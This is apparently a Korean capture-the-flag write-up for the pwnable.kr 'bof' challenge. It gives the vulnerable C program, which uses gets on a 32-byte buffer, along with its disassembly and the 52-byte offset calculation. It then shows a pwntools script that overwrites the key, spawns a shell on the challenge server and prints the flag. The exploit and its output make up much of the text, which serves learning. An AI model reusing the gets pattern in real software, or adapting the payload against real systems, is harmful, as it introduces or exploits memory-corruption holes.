#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
풀이
gets 함수 = 사용자로부터 입력받을 때 크기가 지정되있지 않아 버퍼플로우 발생하기 취약한 함수
undefined main () PUSH EBP MOV EBP ,ESP AND ESP ,0xfffffff0 SUB ESP ,0x10 MOV dword ptr [ESP ]=>local_20 ,0xdeadbeef CALL func ...
undefined func (undefined4 param_1 ) PUSH EBP MOV EBP ,ESP SUB ESP ,0x48 MOV EAX ,GS:[0x14 ] MOV dword ptr [EBP + local_10 ],EAX XOR EAX ,EAX MOV dword ptr [ESP ]=>local_4c ,s_overflow_me_:_0001 = "overflow me : " CALL <EXTERNAL>::puts int puts(char * __s) LEA EAX =>local_30 ,[EBP + -0x2c ] MOV dword ptr [ESP ]=>local_4c ,EAX CALL <EXTERNAL>::gets char * gets(char * __s) ...
func 함수를 call해서 진입하면 ebp는 main()의 base pointer를 가지게 된다.
overflowme[32] 변수는 ebp로부터 -0x2c(=-44)만큼 떨어져있고,
key는 main() base pointer, func() ret address 위인 +8만큼 떨어져있다.
gets 함수를 통해 overflow에 문자를 입력할 때, key를 덮어써야하므로
overflow에서 key까지 거리를 구하면 52만큼의 거리가 나온다.

from pwn import *
context.log_level = 'debug'
p = remote("pwnable.kr", 9000)
payload = "A" * 52 + '\xbe\xba\xfe\xca'
p.sendline(payload)
p.interactive();
ubuntu@WSL2:~/CTF/pwnable.kr$ python3 ./bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 41 41 41 41 be ba fe ca 0a │AAAA│····│·│
00000039
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x1c bytes:
b'bof\n'
b'bof.c\n'
b'flag\n'
b'log\n'
b'super.pl\n'
bof
bof.c
flag
log
super.pl
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x20 bytes:
b'daddy, I just pwned a buFFer :)\n'
daddy, I just pwned a buFFer :)